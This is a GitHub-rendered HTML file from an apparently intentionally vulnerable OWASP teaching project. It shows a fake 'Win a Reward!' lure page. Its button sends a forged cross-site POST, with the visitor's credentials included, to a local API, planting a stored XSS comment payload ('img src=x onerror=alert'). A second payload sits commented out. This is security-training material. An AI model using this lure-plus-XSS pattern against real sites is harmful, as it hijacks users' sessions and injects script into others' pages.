gowasp/tools/price-win.html at main · manuelarte/gowasp · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Win a Reward!</title>
    <style>
      body {
        margin: 0;
        padding: 0;
        font-family: "Arial", sans-serif;
        background: linear-gradient(135deg, #6a11cb, #2575fc);
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        color: white;
        text-align: center;
      }

      .container {
        background: rgba(255, 255, 255, 0.1);
        padding: 40px;
        border-radius: 15px;
        box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
        backdrop-filter: blur(10px);
        max-width: 400px;
        width: 100%;
      }

      h1 {
        font-size: 2.5rem;
        margin-bottom: 20px;
      }

      p {
        font-size: 1.2rem;
        margin-bottom: 30px;
      }

      .btn {
        background: #ff6f61;
        color: white;
        padding: 15px 30px;
        font-size: 1.2rem;
        border: none;
        border-radius: 50px;
        cursor: pointer;
        transition: background 0.3s ease;
      }

      .btn:hover {
        background: #ff3b2f;
      }

      .btn:active {
        transform: scale(0.95);
      }

      .btn:disabled {
        pointer-events: none;
      }
    </style>
    <script type="text/javascript">
      function uploadComment(event) {
        event.preventDefault();
        const inputs = document.getElementsByTagName("INPUT");
        inputs[0].setAttribute("disabled", "disabled");
        console.log(inputs[0]);
        const postId = 5;
        const userId = 2;
        const newUserComment = {
          postId: postId,
          userId: userId,
          //comment: "<button onclick=\"alert('XSS example')\">Click me</button>",
          comment: "<img src=\"x\" onerror=\"alert('XSS attack')\">",
        };
        console.log(
          "Sending data:",
          `/posts/${postId}/comments`,
          JSON.stringify(newUserComment),
        );
        fetch(`http://localhost:8083/api/posts/${postId}/comments`, {
          method: "POST",
          headers: {
            "Content-Type": "application/json",
          },
          credentials: "include",
          body: JSON.stringify(newUserComment),
        })
          .then((response) => {
            if (!response.ok) {
              console.error("did not succeeded", response);
              return;
            }
            alert("comment added");
          })
          .catch((error) => {
            console.error(
              "There has been a problem with your fetch operation:",
              error,
            );
          })
          .finally(() => {
            inputs[0].removeAttribute("disabled", "disabled");
          });
      }
    </script>
  </head>
  <body>
    <div class="container">
      <h1>Win a Reward!</h1>
      <p>
        Click the button below to claim your surprise reward. Don't wait, it's
        just a click away!
      </p>
      <form onsubmit="uploadComment(event)">
        <input type="submit" class="btn" value="Click Here" />
      </form>
    </div>
  </body>
</html>